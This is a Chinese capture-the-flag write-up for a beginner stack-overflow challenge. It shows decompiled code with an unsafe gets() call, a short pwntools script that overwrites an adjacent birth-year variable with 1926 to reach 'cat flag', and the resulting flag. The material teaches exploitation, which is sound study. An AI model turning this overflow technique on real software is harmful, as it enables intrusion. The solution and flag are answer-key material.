题目来源:
CGCTF
题目描述:
只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办
题目场景:
111.198.29.45:47091
题目附件:
24ac28ef281b4b6caab44d6d52b17491
题目思路:
这是一道很简单的栈溢出的题,当然首先你得懂函数调用时栈的原理,你还得学会通过pwntools编写简单的Python脚本,还得懂点Linux运行的机制、懂点IDA。
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是:
程序必须向栈上写入数据。
写入的数据大小没有被良好地控制。
解题过程:
载入IDA64,找到main函数,F5反编译得到伪C代码:
int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 result; // rax
char name; // [rsp+0h] [rbp-20h]
unsigned int input_birth; // [rsp+8h] [rbp-18h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("What's Your Birth?");
__isoc99_scanf("%d", &input_birth);
while ( getchar() != 10 )
;
if ( input_birth == 1926 )
{
puts("You Cannot Born In 1926!");
result = 0LL;
}
else
{
puts("What's Your Name?");
gets((__int64)&name); // stack overflow here
printf("You Are Born In %d\n", input_birth);
if ( input_birth == 1926 )
{
puts("You Shall Have Flag.");
system("cat flag");
}
else
{
puts("You Are Naive.");
puts("You Speed One Second Here.");
}
result = 0LL;
}
return result;
}
从system("cat flag");
这一句来看,我们输入的birth要为1926,但是前面的判断又限制birth不能为1926。
查看重命名后的name与input_birth在栈上的距离:
name与input_birth相差了8个字节,而且input_birth的地址高于name,所以在第一次输入birth时输入非1926的数,然后在输入name时通过覆盖input_birth地址处的内容为1926来使得判断input_birth == 1926
成立。
(1926)十进制==(0x786)十六进制
exp脚本:
from pwn import *
p = remote('111.198.29.45',47091)
birth = "1111"
name = "a"*8+ p64(0x786)
p.recvuntil("What's Your Birth?")
p.sendline(birth)
p.recvuntil("What's Your Name?")
p.sendline(name)
p.recv()
p.recv()
print(p.recv())
cyberpeace{c292e61b0fe8f85f59d7a56785120bc8}